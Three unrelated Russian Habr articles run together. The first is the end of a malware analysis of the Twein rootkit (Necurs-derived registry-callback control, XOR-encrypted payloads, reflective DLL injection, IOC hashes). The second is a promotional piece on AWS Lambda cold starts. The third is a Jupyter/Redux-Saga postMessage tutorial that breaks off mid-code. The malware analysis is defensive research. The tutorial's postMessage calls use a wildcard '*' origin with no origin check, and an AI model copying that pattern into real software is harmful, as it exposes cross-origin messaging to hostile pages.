Средствами CmRegisterCallback драйвер перехватывает события доступа к реестру системы. В частности, его дальнейшая работа параметризуется числовыми значениями ключей, к которым происходит обращение в перехваченных событиях.
*Рис. 22. Управление руткитом обращениями к ключам реестра*
Любопытно, что в некоторых версиях руткита Necurs те же самые числовые значения использовались в качестве кодов ioctl-запросов.
*Рис. 23. Управление руткитом Necurs с помощью ioctl-запросов*
Этот трюк можно расценивать как шаг в сторону большей скрытности: обращения к реестру вызывают меньше подозрений, чем ioctl-запросы к DeviceObject.
В теле руткита содержится вспомогательная DLL-библиотека, зашифрованная однобайтовым XOR. При создании нового процесса драйвер инжектирует библиотеку вместе с еще одним PE-файлом, который извлекается из реестра и снова расшифровывается однобайтовым XOR.
*Рис. 24. Расшифровка и инжект вспомогательной библиотеки в созданный процесс*
Вспомогательный компонент представляет собой кастомный [рефлективный загрузчик](https://github.com/stephenfewer/ReflectiveDLLInjection), который корректно разместит в памяти второй PE-файл, выполняющий роль полезной нагрузки, и передаст на него управление. Теперь становится понятно, как именно начинает работать тот пейлоад, который записывался в реестр загрузчиком из первой части статьи.
*Рис. 25. Заполнение таблицы импорта вспомогательной библиотекой*
Заключение
----------
В статье мы познакомились с особенностями работы множества троянов-близнецов. Почему близнецов? Вредоносный загрузчик, с которого мы начинали наше исследование, по качеству написания кода и нюансам реализации очень похож на хорошо известный загрузчик бэкдора FlawedAmmyy. Библиотеки twein, которые он пытается удалить из системы, — вероятнее всего, те, которые мы рассматриваем дальше. Библиотеки крайне схожи с защитным плагином трояна LatentBot. Один из пейлоадов загрузчика — драйвер, являющийся производной популярного руткита Necurs.
Некоторым семействам ВПО уже более 5 лет, однако злоумышленники продолжают их обновлять и совершенствовать, учитывая при этом развитие операционных систем и средств защиты.
**Авторы**: Алексей Вишняков и Даниил Колосков, Positive Technologies
**IOCs**a28a54abc30805cc6ea2ce0732989287 — загрузчик Twein
f6b6526b8d494dce14568e3703368432 — дроппер twein-плагинов
983dd279722154a12093410067fe070e — руткит Twein
Предыдущие статьи цикла:
------------------------
* [Операция TA505: как мы анализировали новые инструменты создателей трояна Dridex, шифровальщика Locky и ботнета Neutrino. Часть 1](https://www.ptsecurity.com/ru-ru/research/pt-esc-threat-intelligence/operation-ta505-part1/)
* [Операция TA505: изучаем бэкдор ServHelper с NetSupport RAT. Часть 2](https://www.ptsecurity.com/ru-ru/research/pt-esc-threat-intelligence/operation-ta505-part2/)
* [Операция TA505: сетевая инфраструктура группировки. Часть 3](https://www.ptsecurity.com/ru-ru/research/pt-esc-threat-intelligence/operation-ta505-part3/) | https://habr.com/ru/post/475328/ | null | ru | null |
# Холодные запуски AWS Lambda — решение проблемы
Что такое холодные запуски AWS Lambda?
--------------------------------------
Холодные запуски могут оказаться губительными для [производительности AWS Lambda](https://lumigo.io/aws-lambda-performance-optimization/), особенно если вы создаёте клиентоориентированное приложение, которое должно работать в режиме реального времени. Представьте себе, что пользователь отправил приложению запрос, а ваша функция AWS Lambda ещё не запущена. В таком случае система AWS должна будет сначала развернуть ваш код и запустить новый контейнер — и только после этого выполнит запрос. Соответственно, выполнение запроса может занять гораздо больше времени: Lambda-функция начнёт работать только тогда, когда для неё будет готов контейнер.
Холодный запуск происходит при получении первого запроса, для обработки которого создаётся новый рабочий процесс AWS Lambda. Обработка такого запроса занимает больше времени, поскольку сервису AWS Lambda необходимо:
1. Найти свободные ресурсы в EC2 Fleet и выделить их для рабочего процесса.
2. Инициализировать рабочий процесс.
3. Инициализировать ваш функциональный модуль.
Только после этого сервис сможет передать запрос вашей функции-обработчику.
Получается, что холодный запуск — неизбежный побочный продукт высокой масштабируемости инфраструктуры бессерверных вычислений. При холодном запуске AWS Lambda требуется дополнительное время для прогрева контейнеров перед началом работы функций.
При этом у AWS должен быть готовый набор контейнеров, чтобы при вызове функций их можно было сразу запустить. Это означает, что функции после выполнения поддерживаются в разогретом состоянии (обычно 30–45 минут), а затем сворачиваются, позволяя контейнеру подготовиться к вызову новой функции.
Источник: AWSХолодные запуски в AWS Lambda характерны для менее чем **0,25%** запросов, однако их последствия могут быть значительными: иногда для выполнения кода требуется целых [5 секунд](https://mikhail.io/serverless/coldstarts/aws/). Эта проблема особенно актуальна для приложений, работающих в режиме реального времени или в очень жёстких временных рамках.
В чём заключается механизм Provisioned Concurrency и как он помогает решить проблему холодных запусков?
-------------------------------------------------------------------------------------------------------
Amazon Lambda поддерживает механизм Provisioned Concurrency, который позволяет лучше управлять производительностью бессерверных приложений. При помощи Provisioned Concurrency можно избежать проблем холодного запуска и задержек при запуске функций AWS Lambda.
Этот механизм позволяет создавать масштабируемые бессерверные приложения с предсказуемой задержкой. Уровень Provisioned Concurrency можно установить для всех версий или алиасов функции. При этом AWS Lambda подготовит для функций контейнеры и гарантирует, что задержка при их вызове не превысит несколько сотых миллисекунды. Это означает, что ваши бессерверные функции адаптируются к резким всплескам трафика или существенным событиям, приводящим к масштабированию, без увеличения задержки.
Тем не менее за Provisioned Concurrency приходится платить. За весь период использования этой опции с момента, когда вы её включили, вам будет выставлен счёт. Время округляется до ближайших 5 минут. Стоимость зависит от уровня Provisioned Concurrency (т. е. числа функций, которые можно выполнять одновременно, без задержек) и объёма выделяемой памяти.
Это означает, что Provisioned Concurrency нужно настраивать очень аккуратно, указывая именно тот уровень, который действительно требуется для ваших рабочих нагрузок — тогда вы избежите непроизводительных затрат.
Как включить опцию Provisioned Concurrency
------------------------------------------
Ниже мы приводим инструкцию, как настроить Provisioned Concurrency для функций AWS Lambda с помощью консоли управления AWS.
1. В консоли AWS Lambda выберите любую функцию Lambda.
2. В выпадающем списке **Actions** выберите **Publish new version**. Так вы примените настройки к алиасу или опубликованной версии функции.
3. Можно добавить описание для версии, но это необязательно. После этого нажмите кнопку **Publish**.
4. В выпадающем списке **Actions** выберите **Create alias**. Введите имя для каждого алиаса.
5. В выпадающем списке **Version** выберите **1**, а затем нажмите **Create**.
6. Перейдите в блок **Concurrency**, а затем выберите опцию **Add**.
7. Установите переключатель у **Qualifier type** в значение **Alias**, а затем выберите тот алиас функции, который вы ранее указали в выпадающем списке **Alias**. Задайте значение **Provisioned Concurrency** — число экземпляров функции, которые будут непрерывно запущены. Нажмите кнопку **Save**.
8. Перейдите в консоль AWS Lambda. В блоке **Provisioned Concurrency** должен показываться статус **In progress**. Инициализация займёт несколько минут. После этого вы сможете использовать Provisioned Concurrency для опубликованного алиаса функции.
К пункту 2К пункту 5К пункту 8
> **Предупреждение: дополнительные расходы**. За использование опции Provisioned Concurrency вы заплатите отдельно, помимо обычных затрат на вызовы функций AWS Lambda. Расходы за Provisioned Concurrency будут такими же, как при вызове и непрерывном выполнении нескольких дополнительных экземпляров функции.
>
>
Мы описали, как настроить Provisioned Concurrency с помощью консоли управления AWS. Также вы можете изменить параметры с помощью AWS CloudFormation, интерфейса командной строки AWS CLI и пакета AWS SDK.
Использование Lumigo для точной настройки опции Provisioned Concurrency
-----------------------------------------------------------------------
Lumigo предназначена для мониторинга решений на базе бессерверных вычислений с мощной поддержкой AWS Lambda. Мы обладаем партнёрскими статусами AWS Advanced Technology Partner и AWS Launch Partner и поддерживаем Provisioned Concurrency на своей платформе с её запуска.
Платформа Lumigo обеспечит беспрецедентный уровень наглядности при описании проблемы холодных запусков в бессерверных приложениях и поможет вам точно настроить Provisioned Concurrency, свести к минимуму проблемы с производительностью, а также сэкономить средства.
#### 1. Создайте бесплатный аккаунт Lumigo и подключите наш трассировщик к своим Lambda-функциям.
Бесплатный аккаунт Lumigo можно завести [здесь](https://lumigo.io/blog/this-is-all-you-need-to-know-about-lambda-cold-starts/). Установка займёт всего несколько минут — затем вы начнёте мониторинг и отладку функций AWS Lambda, используя методы полномасштабной распределённой трассировки.
Войдите в аккаунт Lumigo.
#### 2. Узнайте, насколько критична для вас проблема холодных запусков и нужна ли вам опция Provisioned Concurrency.
В главной консоли Lumigo просмотрите информацию о Provisioned Concurrency и о холодных запусках. Все важные сведения находятся на информационной панели:
#### 3. Настройте оповещения.
Получайте регулярные рекомендации от Lumigo. Тогда вы будете в курсе, у каких функций слишком мало или много одновременно выполняемых экземпляров. Оповещения помогут вам правильно настроить Provisioned Concurrency и найти оптимальный баланс между стоимостью и производительностью.
#### 4. Чтобы получить информацию об использовании Provisioned Concurrency напрямую через командную строку, используйте инструмент Lumigo CLI.
Выполните команду analyze-lambda-cold-starts, и вы увидите общий уровень Provisioned Concurrency для каждой функции, а также характеристики использования функции в течение заданного времени.
Дополнительные способы повысить производительность холодного запуска AWS Lambda
-------------------------------------------------------------------------------
**Cредства мониторинга, позволяющие определить, как холодные запуски воздействуют на приложение**
Даже если вы корректно настроили Provisioned Concurrency, холодные запуски время от времени могут происходить. Поэтому важно вести мониторинг приложений и следить за тем, как на их производительность влияют холодные запуски. Если они увеличивают задержку запросов, вы должны понять, какие это запросы и критичны ли они для конечных пользователей.
Утилиты Amazon CloudWatch Logs и AWS X-Ray помогут разобраться, где и когда в приложении происходят холодные запуски. Правда, эти утилиты потребуют от вас определённых аналитических навыков. С помощью платформ мониторинга, прицельно направленных на бессерверные вычисления (например, [Lumigo](https://lumigo.io/)), гораздо легче отслеживать, как холодные запуски влияют на приложения.
На дашборде Lumigo собраны функции, для которых холодные запуски происходят наиболее часто:
Как видите, 57,36% вызовов функции graphql-api-prod-listSports — холодные запуски. На такие функции обращайте особое внимание!
Вы можете посмотреть подробности о каждой функции и выяснить, насколько холодные запуски продолжительны. В конце концов, если они недолгие, то они гораздо меньше скажутся на удовлетворённости пользователей. Самый плохой сценарий — когда холодные запуски и долгие, и частые.
Кроме того, в Lumigo можно настроить оповещения на случай, если процент холодных запусков функций вдруг вырастет. Это отличный способ не упускать из вида именно те ориентированные на пользователей функции, где вас беспокоит суммарная задержка.
**Используйте как можно меньше программных пакетов**
Мы видели, что на время холодного запуска AWS Lambda больше всего влияет не размер пакета, а время инициализации, когда пакет фактически загружается впервые.
Чем больше программных пакетов — тем больше времени требуется контейнеру для их загрузки. Инструменты [Browserify](https://browserify.org/) и [Serverless Plugin Optimize](https://www.npmjs.com/package/serverless-plugin-optimize) помогут вам снизить число пакетов.
Читайте исследование на эту тему: [Web Frameworks Implication on Serverless Cold Start Performance in NodeJS](https://lumigo.io/blog/web-frameworks-implication-on-serverless-cold-start-performance-in-nodejs/)
**Используйте Node.js, Python или Go**
Если вы пишете Lambda-функции на Node.js, Python или Go, вы можете сократить холодный запуск до оптимально приемлемого уровня (<500 мс) с минимальными усилиями. Это означает, что даже при холодном запуске время отклика будет находиться в пределах SLA приложения.
В одном из экспериментов Натан Малышев (Nathan Malishev) обнаружил, что при использовании Python, Node.js и Goинициализация занимает гораздо меньше времени, чем при работе с Java или .NET, при этом Python работает как минимум в два раза быстрее по сравнению с Java в зависимости от того, какой объём памяти выделен на Lambda-функцию.
Источник: [Lambda Cold Starts, A Language Comparison – Nathan Malishev](https://levelup.gitconnected.com/lambda-cold-starts-language-comparison-%EF%B8%8F-a4f4b5f16a62)
[E-Book: Learn best practices for monitoring serverless applications](https://info.lumigo.io/serverless-monitoring-guide-ebook)
Что влияет на продолжительность холодного запуска? Наш эксперимент
------------------------------------------------------------------
Если вы хотите глубже разобраться с проблемой холодных запусков, давайте подробнее рассмотрим основные факторы, определяющие их поведение. При разных типах запросов длительность холодных запусков может быть разной. Мы разработали эксперимент, позволяющий лучше понять эти эффекты.
**Сравнение холодных запусков типа 1 и типа 2**
[Майкл Харт (Michael Hart)](https://twitter.com/hichaelmart) первым заметил, что существуют заметные различия между двумя типами холодного запуска:
1. Запуски сразу после изменения кода.
2. Остальные запуски (например, когда AWS Lambda необходимо увеличить число рабочих процессов в связи с повышением спроса на трафик).
Возможно, при первом холодном запуске сразу после заливки кода необходимы дополнительные действия. Именно поэтому на запуски типа 1 уходит больше времени, чем на запуски типа 2.
На практике чаще всего встречаются холодные запуски типа 2, и именно им мы должны уделять наибольшее внимание. Тем не менее я был крайне заинтригован открытием Харта и сам провёл ряд экспериментов.
**Планирование эксперимента**
В одном из таких экспериментов я измерил круговую задержку для нескольких функций:
* *control*. Функция «Hello world» без зависимостей.
```
module.exports.handler = async event => {
return {
statusCode: 200,
body: '{}'
}
}
```
* *AWS SDK включена в сборку, но на самом деле не требуется.* Получается такая же функция, что и control, но с артефактом развёртывания: он включает Node.js AWS SDK (хотя на самом деле функции он не нужен) и занимает 9,5 МБ.
* *Control с большим объёмом ресурсов*. Та же функция, что и control, но при этом в артефакт развёртывания добавлено два крупных MP3-файла, что даёт суммарно 60,2 МБ.
* *Функция, использующая AWS SDK*. Требует инициализации модуля duration из AWS SDK. **Добавляет пакет AWS SDK** в свой артефакт развёртывания (9,5 МБ).
```
const AWS = require('aws-sdk')module.exports.handler = async event => {
return {
statusCode: 200,
body: '{}'
}
}
```
* *Требует вызова AWS SDK через Layer*. Совпадает с функцией, требующей AWS SDK, но при этом AWS SDK **не включается в сборку** и не попадает в артефакт деплоймента. Вместо этого используется инъекция пакета AWS SDK через уровень AWS Lambda.
* *Требует использования встроенного AWS SDK.* Совпадает с функцией, требующей AWS SDK, но при этом AWS SDK **не включается в сборку** и не попадает в артефакт деплоймента. Вместо этого используется AWS SDK — часть среды выполнения AWS Lambda.
Для каждой из этих функций я собрал 200 экспериментальных точек для постдеплойных холодных запусков (тип 1) и 1000 точек для остальных холодных запусков (тип 2). Получились вот такие результаты:
На основе этих данных можно сделать несколько выводов.
**Влияние типа холодного запуска на производительность**
Холодные запуски типа 1 (сразу после развёртывания кода) неизменно требуют больше времени, чем запуски типа 2, особенно если учесть хвостовые задержки (p99).
**Влияние размера артефакта развёртывания на производительность**
Размер артефакта влияет на время холодного запуска, даже если функция не требует его активного использования. Все три нижеприведённых теста используют один и тот же код функции:
```
module.exports.handler = async event => {
return {
statusCode: 200,
body: '{}'
}
}
```
Единственное различие между ними — это размер артефакта развёртывания. Как видно ниже, добавление Node.js AWS SDK в артефакт развёртывания добавляет к круговой задержке при холодном запуске всего 20–60 мс. Однако когда размер артефакта становится намного больше, задержка заметно вырастает. Когда артефакт увеличивается до 60 МБ, к задержке добавляется целых 250–450 мс!
Таким образом, **размер заливаемого кода влияет на холодный запуск**, но если это просто пакет AWS SDK, то влияние артефакта развёртывания можно считать минимальным.
**Влияние источника зависимостей на производительность**
Зачастую пакет AWS SDK — обязательная зависимость. Однако оказывается, важно даже то, откуда загружается AWS SDK. Быстрее всего загружается пакет AWS SDK, встроенный в среду выполнения AWS Lambda. Интересно, что AWS SDK также гораздо быстрее загружать через Layers, чем при добавлении в артефакт развёртывания! Разница при этом гораздо более существенна, чем упомянутые выше 20—60 мс, что говорит о дополнительных факторах.
Прежде чем вы решите для себя раз и навсегда не включать пакет AWS SDK в артефакты развёртывания, нужно учесть ещё и другие факторы.
Например, если вы используете встроенный пакет AWS SDK, вы, по сути, теряете неизменяемость инфраструктуры. Также были случаи, когда у программистов внезапно ломались функции при обновлении версии AWS SDK. Чтобы узнать подробности, прочитайте [этот пост](https://theburningmonk.com/2019/09/should-you-pack-the-aws-sdk-in-your-deployment-artefact/).
Если вы используете уровни AWS Lambda, то придётся нести дополнительные операционные издержки: каждый уровень AWS Lambda требует отдельного развёртывания, и при этом вам всё равно придётся обновлять каждую функцию, ссылающуюся на этот уровень. Чтобы узнать, почему уровни AWS Lambda не панацея и должны применяться умеренно, прочитайте [этот пост](https://lumigo.io/blog/lambda-layers-when-to-use-it/).
Тем не менее для пользователей фреймворков бессерверных вычислений существует умный плагин [serverless-layers](https://www.npmjs.com/package/serverless-layers), который позволяет избежать многих операционных проблем, характерных для Lambda-уровней. По сути, он использует уровни не как метод предоставления кода, а исключительно для оптимизации. При каждом развёртывании плагин проверяет, изменились ли ваши зависимости, а если да, упаковывает и развёртывает зависимости в виде уровня Lambda (и только для этого проекта), а также обновляет все функции, которые ссылаются на уровень.
Но не надо торопиться! Это ещё не всё.
**Влияние директивы require на производительность**
На что тратится время, когда во время инициализации модуля запускается эта строка кода?
```
const AWS = require('aws-sdk')
```
За кулисами среда выполнения Node.js должна разрешить зависимость и проверить, существует ли aws-sdk по любому из путей, указанному в NODE\_PATH. Если папка с модулем найдена, среда запускает логику инициализации в модуле aws-sdk, разрешает все его зависимости и т. д.
Всё это требует процессорных циклов и вызовов ввода-вывода на уровне файловой системы, и именно из-за этого и происходит задержка.
Таким образом, если функции просто нужен клиент DynamoDB, вы сэкономите очень много времени при холодном запуске, если в директиве require у вас будет *только* клиент DynamoDB.
```
const DynamoDB = require('aws-sdk/clients/dynamodb')
```
Поскольку большая часть времени при холодном запуске уходит на разрешение зависимостей — а что, если в принципе устранить необходимость разрешать зависимости при выполнении кода?
**Влияние webpack на производительность**
Используя систему-сборщик, например webpack, мы можем заранее разрешить все зависимости и свести их исключительно к тому коду, который нам действительно нужен.
Это позволит сэкономить ресурсы, ведь:
* уменьшится размер артефакта развёртывания;
* не придётся разрешать зависимости при выполнении.
Результат получается потрясающий!
Итак, вы используете Node.js и хотите свести к минимуму [время холодного запуска](https://lumigo.io/blog/provisioned-concurrency-the-end-of-cold-starts/) функций AWS Lambda. Тогда самое эффективное действие — понять, что вам действительно требуется в коде, а затем применить webpack. Данная система параллельно учитывает несколько факторов, создающих временную задержку при холодном запуске.
Для пользователей бессерверных платформ существует плагин [serverless-webpack](https://github.com/serverless-heaven/serverless-webpack), который сделает эту работу за вас.
Загрузите Lumigo, чтобы обнаружить, исправить и предотвратить холодные запуски
------------------------------------------------------------------------------
Lumigo — это бессерверная платформа мониторинга, которая позволяет разработчикам легко находить холодные запуски функций AWS Lambda, оценивать их воздействие на производительность и исправлять их.
Lumigo ведёт мониторинг, используя готовые ключевые метрики холодного запуска функций AWS Lambda, в том числе процентную долю холодного запуска, среднее время холодного запуска и опцию Provisioned Concurrency. Система также в реальном времени оповещает вас о холодных запусках. Если функции начнёт не хватать параллельно выполняемых экземпляров — вы сразу узнаете об этом.
Lumigo также поможет:
* **Обнаружить и устранить проблемы за считанные секунды, используя наглядные средства отладки.** Lumigo создаёт виртуальный стек-трейс для всех сервисов, участвующих в транзакции. Все данные отображаются на визуальной карте, где их можно искать и фильтровать.
* **С автоматической распределённой трассировкой.** По щелчку мыши, не требуя никаких ручных изменений кода, Lumigo визуализирует всю вашу среду, включая функции AWS Lambda, другие сервисы AWS, а также любые API-вызовы и обращения к внешнему сервису SaaS.
* **Выявить и устранить узкие места производительности.** Вы увидите полное время выполнения для каждого сервиса и определите, какие сервисы выполняются последовательно и параллельно. Lumigo автоматически идентифицирует ваших «худших нарушителей» требований по задержке, в том числе холодные запуски AWS Lambda.
* **Получать умные оповещения для бессерверных вычислений**. Используя методы машинного обучения, средства прогнозной аналитики Lumigo предупреждают о проблемах (в том числе о холодных запусках AWS Lambda) задолго до того, как те успеют ухудшить производительность или повысить затраты, связанные с работой приложений.
[**Зарегистрируйте бесплатный аккаунт Lumigo — и мы уже сегодня поможем вам устранить холодные запуски AWS Lambda**](https://platform.lumigo.io/signup)
Если вам интересна экосистема Serverless-сервисов и все, что с этим связано, заходите в наше [сообщество в Telegram](https://t.me/YandexCloudFunctions), где можно обсудить serverless в целом. | https://habr.com/ru/post/586516/ | null | ru | null |
# Как в Яндекс.Практикуме побеждали рассинхрон на фронтенде: акробатический номер с Redux-Saga, postMessage и Jupyter
Меня зовут Артём Несмиянов, я фулстек-разработчик в Яндекс.Практикуме, занимаюсь в основном фронтендом. Мы верим в то, что учиться программированию, дата-аналитике и другим цифровым ремёслам можно и нужно с удовольствием. И начинать учиться, и продолжать. Любой не махнувший на себя рукой разработчик — всегда «продолжающий». Мы тоже. Поэтому рабочие задачи воспринимаем в том числе как формат учёбы. И одна из недавних помогла мне и ребятам лучше понять, в какую сторону развивать наш фронтенд-стек.
### Кем и из чего сделан Практикум
Команда разработки у нас предельно компактная. На бэкенде вообще всего два человека, на фронтенде — четыре, считая меня, фулстека. Периодически к нам в усиление присоединяются ребята из Яндекс.Учебника. Работаем мы по Scrum с двухнедельными спринтами.
В основе фронтенда у нас — React.js в связке с Redux/Redux-Saga, для связи с бэкендом используем Express. Backend-часть стека — на Python (точнее, Django), БД — PostgreSQL, для отдельных задач — Redis. С помощью Redux мы храним сторы с информацией, посылаем actions, которые обрабатываются Redux и Redux-Saga. Все сайд-эффекты, такие как запросы к серверу, обращения к Яндекс.Метрике и редиректы, обрабатываются как раз в Redux-Saga. А все модификации данных происходят в редьюсерах (reducers) Redux.
### Как не проглядеть бревно в своём iframe
Сейчас на нашей платформе открыто обучение по трём профессиям: фронтенд-разработчик, веб-разработчик, аналитик данных. И мы активно пилим для каждого курса инструменты.
Для полугодового курса «[Аналитик данных](https://praktikum.yandex.ru/data-analyst/?utm_source=habr&utm_content=post300519)» мы сделали интерактивный тренажёр, где учим пользователей работать с [Jupyter Notebook](https://jupyter.org/). Это классная оболочка для интерактивных вычислений, которую справедливо любят дата-сайентисты. Все операции в среде выполняются внутри notebook, она же по-простому — тетрадка (так её и буду называть дальше).
Опыт подсказывает, и мы уверены: важно, чтобы учебные задачи были близки к реальным. В том числе в плане рабочей среды. Поэтому требовалось сделать так, чтобы внутри урока весь код можно было писать, запускать и проверять прямо в тетрадке.
С базовой реализацией трудностей не возникло. Поселили саму тетрадку в отдельном iframe, на бэкенде прописали логику её проверки.
*Сама ученическая тетрадка (справа) — это просто iframe, чей URL ведёт на конкретный notebook в JupyterHub.*
В первом приближении всё функционировало без сучка, без задоринки. Однако при тестировании вылезли несуразности. Например, ты вбиваешь в тетрадку гарантированно правильный вариант кода, однако после нажатия на кнопку «Проверить задание» сервер отвечает, что ответ якобы неверный. А почему — загадка.
Ну, что происходит, мы сообразили в тот же день, когда нашли баг: обнаружилось, что на сервер улетало не текущее, только что вбитое в форму Jupyter Notebook решение, а предыдущее, уже стёртое. Сама тетрадка не успевала сохраниться, а мы тормошили бэкенд, чтобы он проверил задание в ней. Чего он сделать, разумеется, не мог.
Нам надо было избавиться от рассинхрона между сохранением тетрадки и отправкой запроса к серверу на её проверку. Загвоздка оказалась в том, что требовалось заставить iframe тетрадки общаться с родительским окном, то есть с фронтендом, на котором крутился урок в целом. Само собой, напрямую пробросить какой-то event между ними было нельзя: обитают они на разных доменах.
В поисках решения я узнал, что Jupyter Notebook допускает подключение своих плагинов. Существует юпитеровский объект — тетрадка, — которым можно оперировать. Работа с ним предусматривает события, в том числе сохранение тетрадки, а также вызов соответствующих экшенов. Разобравшись в нутре Jupyter (пришлось: нормальной документации к нему нет), мы с ребятами так и поступили — соорудили собственный плагин к нему и с помощью механизма postMessage добились согласованной работы элементов, из которых собран урок Практикума.
Обходной путь мы продумывали с учётом того, что в наш стек изначально входит уже упомянутая Redux-Saga — упрощённо говоря, middleware над Redux, которая даёт возможность более гибко работать с сайд-эффектами. Например, сохранение тетрадки — это как раз нечто вроде такого сайд-эффекта. Мы что-то отправляем на бэкенд, чего-то ждём, что-то получаем. Вся эта движуха и обрабатывается внутри Redux-Saga: она-то и кидает события фронтенду, диктуя ему, как что отобразить в UI.
Что в итоге? Создаётся postMessage и отправляется в iframe с тетрадкой. Когда iframe видит, что ему пришло нечто извне, он парсит полученную строку. Поняв, что ему нужно сохранить тетрадку, он выполняет это действие и, в свою очередь, шлёт ответный postMessage об исполнении запроса.
Когда мы нажимаем кнопку «Проверить задание», в Redux Store отсылается соответствующее событие: «Так и так, мы пошли проверяться». Redux-Saga видит, что экшен прилетел и сделал postMessage в iframe. Теперь она ждёт, пока iframe даст ответ. Тем временем наш студент видит индикатор загрузки на кнопке «Проверить задание» и понимает, что тренажёр не завис, а «думает». И только когда обратно приходит postMessage о том, что сохранение выполнено, Redux-Saga продолжает работу и посылает запрос к бэкенду. На сервере задание проверяется — правильное решение или нет, если допущены ошибки, то какие, и т. д., — и эта информация аккуратно складируется в Redux Store. А уже оттуда фронтендный скрипт подтягивает её в интерфейс урока.
Вот какая схема вышла в итоге:
*(1) Жмём кнопку «Проверить задание» (Check) → (2) Шлём экшен CHECK\_NOTEBOOK\_REQUEST → (3) Ловим экшен проверки → (2) Шлём экшен SAVE\_NOTEBOOK\_REQUEST → (3) Ловим экшен и шлём postMessage в iframe с событием save-notebook → (4) Принимаем message → (5) Тетрадка сохраняется → (4) Получаем event от Jupyter API, что тетрадка сохранилась, и шлём postMessage notebook-saved → (1) Принимаем событие → (2) Шлём экшен SAVE\_NOTEBOOK\_SUCCESS → (3) Ловим экшен и шлём запрос на проверку тетрадки → (6) → (7) Проверяем, что эта тетрадка есть в базе → (8) → (7) Идём за кодом тетрадки → (5) Возвращаем код → (7) Запускаем проверку кода → (9) → (7) Получаем результат проверки → (6) → (3) Шлём экшен CHECK\_NOTEBOOK\_SUCCESS → (2) Складываем ответ проверки в стор → (1) Отрисовываем результат*
Разберёмся, как всё это устроено в разрезе кода.
У нас на фронтенде есть trainer\_type\_jupyter.jsx — скрипт страницы, где отрисовывается наша тетрадка.
```
{notebookLinkIsLoading
? (
) : (
)}
```
После нажатия кнопки «Проверить задание» происходит вызов метода handleCheckTasks.
```
handleCheckTasks = () => {
const {checkNotebook, lesson} = this.props;
checkNotebook({id: lesson.id, iframe: this.iframeRef});
};
```
Фактически handleCheckTasks служит для вызова Redux-экшена с переданными параметрами.
```
export const checkNotebook = getAsyncActionsFactory(CHECK_NOTEBOOK).request;
```
Это обычный экшен, предназначенный для Redux-Saga и асинхронных методов. Здесь getAsyncActionsFactory генерирует три actions:
// utils/store-helpers/async.js
```
export function getAsyncActionsFactory(type) {
const ASYNC_CONSTANTS = getAsyncConstants(type);
return {
request: payload => ({type: ASYNC_CONSTANTS.REQUEST, payload}),
error: (response, request) => ({type: ASYNC_CONSTANTS.ERROR, response, request}),
success: (response, request) => ({type: ASYNC_CONSTANTS.SUCCESS, response, request}),
}
}
```
Соответственно, getAsyncConstants генерирует три константы вида \*\_REQUEST, \*\_SUCCESS и \*\_ERROR.
Теперь посмотрим, как всё это хозяйство обработает наша Redux-Saga:
// trainer.saga.js
```
function* watchCheckNotebook() {
const watcher = createAsyncActionSagaWatcher({
type: CHECK_NOTEBOOK,
apiMethod: Api.checkNotebook,
preprocessRequestGenerator: function* ({id, iframe}) {
yield put(trainerActions.saveNotebook({iframe}));
yield take(getAsyncConstants(SAVE_NOTEBOOK).SUCCESS);
return {id};
},
successHandlerGenerator: function* ({response}) {
const {completed_tests: completedTests} = response;
for (let id of completedTests) {
yield put(trainerActions.setTaskSolved(id));
}
},
errorHandlerGenerator: function* ({response: error}) {
yield put(appActions.setNetworkError(error));
}
});
yield watcher();
}
```
Магия? Да ничего экстраординарного. Как видно, createAsyncActionSagaWatcher просто создаёт вотчер, который умеет предобрабатывать попадающие в экшен данные, делать запрос по определённому URL, диспатчить экшен \*\_REQUEST и по успешному ответу от сервера диспатчить \*\_SUCCESS и \*\_ERROR. Кроме того, естественно, на каждый вариант внутри вотчера предусмотрены обработчики.
Вы наверняка заметили, что в предобработчике данных мы вызываем другую Redux-Saga, ждём, пока он завершится с SUCCESS, и только тогда продолжаем работу. И конечно, iframe на сервер отправлять не нужно, поэтому отдаём только id.
Внимательнее посмотрим на функцию saveNotebook:
```
function* saveNotebook({payload: {iframe}}) {
iframe.contentWindow.postMessage(JSON.stringify({
type: 'save-notebook'
}), '*');
yield;
}
```
Мы дошли до самого важного механизма во взаимодействии iframe с фронтендом — postMessage. Приведённый фрагмент кода отправляет экшен с типом save-notebook, который обрабатывается внутри iframe.
Я уже упоминал о том, что нам понадобилось написать плагин к Jupyter Notebook, который подгружался бы внутри тетрадки. Выглядят эти плагины примерно так:
```
define([
'base/js/namespace',
'base/js/events'
], function(
Jupyter,
events
) {...});
```
Для создания таких расширений приходится иметь дело с API самого Jupyter Notebook. К сожалению, внятной документации по нему нет. Зато доступны [исходники](https://github.com/jupyter/notebook/tree/master/notebook/static/notebook/js), в них-то я и вникал. Хорошо хоть, что код там читаемый.
Плагин надо научить общаться с родительским окном во фронтенде урока: как-никак рассинхрон между ними — причина возникновения бага с проверкой заданий. Прежде всего подпишемся на все сообщения, которые получаем:
```
window.addEventListener('message', actionListener);
```
Теперь обеспечим их обработку:
```
function actionListener({data: eventString}) {
let event = '';
try {
event = JSON.parse(eventString);
} catch(e) {
return;
}
switch (event.type) {
case 'save-notebook':
Jupyter.actions.call('jupyter-notebook:save-notebook');
Break;
...
default:
break;
}
}
```
Все события, не подходящие нам по формату, смело игнорируем.
Мы видим, что нам прилетает событие save-notebook, и вызываем экшен сохранения тетрадки. Остаётся только отправить обратно сообщение о том, что тетрадка сохранилась:
```
events.on('notebook_saved.Notebook', actionDispatcher);
function actionDispatcher(event) {
switch (event.type) {
case 'select':
const selectedCell = Jupyter.notebook.get_selected_cell();
dispatchEvent({
type: event.type,
data: {taskId: getCellTaskId(selectedCell)}
});
return;
case 'notebook_saved':
default:
dispatchEvent({type: event.type});
}
}
function dispatchEvent(event) {
return window.parent.postMessage(
typeof event === 'string'
? event
: JSON.stringify(event),
'*'
);
}
```
Иначе говоря, просто отправляем {type: ‘notebook\_saved’} наверх. Это значит, что тетрадка сохранилась.
Вернёмся к нашему компоненту:
//trainer\_type\_jupyter.jsx
```
componentDidMount() {
const {getNotebookLink, lesson} = this.props;
getNotebookLink({id: lesson.id});
window.addEventListener('message', this.handleWindowMessage);
}
```
При маунте компонента мы запрашиваем у сервера ссылку на тетрадку и подписываемся на все экшены, которые могут нам прилететь:
```
handleWindowMessage = ({data: eventString}) => {
const {activeTaskId, history, match: {params}, setNotebookSaved, tasks} = this.props;
let event = null;
try {
event = JSON.parse(eventString);
} catch(e) {
return;
}
const {type, data} = event;
switch (type) {
case 'app_initialized':
this.selectTaskCell({taskId: activeTaskId})
return;
case 'notebook_saved':
setNotebookSaved();
return;
case 'select': {
const taskId = data && data.taskId;
if (!taskId) {
return
}
